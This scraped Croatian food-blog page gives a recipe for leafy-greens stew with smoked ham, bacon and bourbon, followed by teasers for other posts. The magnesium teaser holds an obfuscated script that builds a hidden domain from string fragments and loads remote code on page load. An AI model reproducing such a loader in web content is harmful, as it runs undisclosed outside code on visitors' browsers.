ZELENO VARIVO S DIMLJENOM ŠUNKOM




Zeleno varivo s dimljenom šunkom



Ovo pravo domaće jelo od lisnatog povrća skriva pravi okus u svojoj tekućini – bogatom, začinjenom temeljcu koji nastaje tijekom kuhanja. Upravo taj “sok” pun je dubokih, dimljenih i blago slatkastih aroma.




Zeleno varivo s dimljenom šunkom 


Sastojci:

  • 2 deblje kriške dimljene slanine, narezane
  • 1 veliki luk, narezan na ploške
  • 5 češnjeva češnjaka, lagano zgnječenih
  • 1 čajna žličica soli (po potrebi i više)
  • 1/2 čajne žličice crnog papra
  • 1/4 čajne žličice čili pahuljica (po želji)
  • 80 ml bourbona
  • 1 žlica smeđeg šećera
  • 450 g svježeg lisnatog povrća (npr. raštika, kelj ili blitva), očišćenog i narezanog
  • 2 l pilećeg temeljca
  • 900 g dimljene svinjske koljenice ili kuhane šunke)
  • 2 lista lovora
  • 2 čajne žličice jabučnog octa (po ukusu i više)



Priprema: 

  1. U velikom loncu ili dubokoj posudi zagrijte slaninu na srednje jakoj vatri. Pecite uz povremeno miješanje dok ne postane hrskava (5–7 minuta). Izvadite na papirnati ubrus, a masnoću ostavite u loncu.
  2. Na masnoći od slanine pirjajte luk oko 10 minuta dok ne omekša i lagano porumeni. Dodajte češnjak, sol, papar i čili (ako koristite) te kratko pržite 1–2 minute.
  3. Ulijte bourbon i dodajte šećer, miješajući kako biste odvojili sve zapečene komadiće s dna posude.
  4. Dodajte lisnato povrće i promiješajte da se obloži aromama. Ulijte temeljac, dodajte dimljeno meso i lovor. Zakuhajte pa smanjite vatru, poklopite i kuhajte lagano oko 1 sat i 15 minuta, dok povrće ne omekša, a tekućina postane bogata i aromatična.
  5. Maknite s vatre i umiješajte jabučni ocat. Izvadite lovor.
  6. Izvadite koljenice, kratko ohladite pa vilicom odvojite meso od kosti. Vratite meso u lonac ili ga koristite po želji.
  7. Po potrebi dodatno začinite solju i octom. Prije posluživanja pospite hrskavom slaninom.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

BRZI KINDER BUENO KOLAČ BEZ PEČENJA

Slika
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Brzi kinder bueno kolač bez pečenja  Bez obzira na to držite li se određenog tipa prehrane ili režima vježbanja, s vremena na vrijeme u redu je počastiti se omiljenom slasticom, a ovaj Kinder Bueno kolač ima sve što će utažiti želju za slatkim. Slasna krema, hrskavi keks i čokoladna glazura odmah su nas uvjerili da ga moramo isprobati. Brzi kinder bueno kolač bez pečenja  Sastojci: 300g plazma keksa + 100 ml mlijeka 350 ml slatkog vrhnja 200 g sirnog namaza 100 g šećera u prahu 3 pune žlice bijele Lino Lade 5 Kinder Bueno čokoladica 100 g Kinder čokoladica + 50 ml slatkog vrhnja Priprema: Za pripremu ovog kolača koristite kalup ili posudu dimenzija 27×18 cm. Sirni namaz i šećer pomiješajte pa mikserom umutite slatko vrhnje. U dobiveni šlag dodajte mješavinu sira i šećera te bijelu Lino La...
Pročitajte više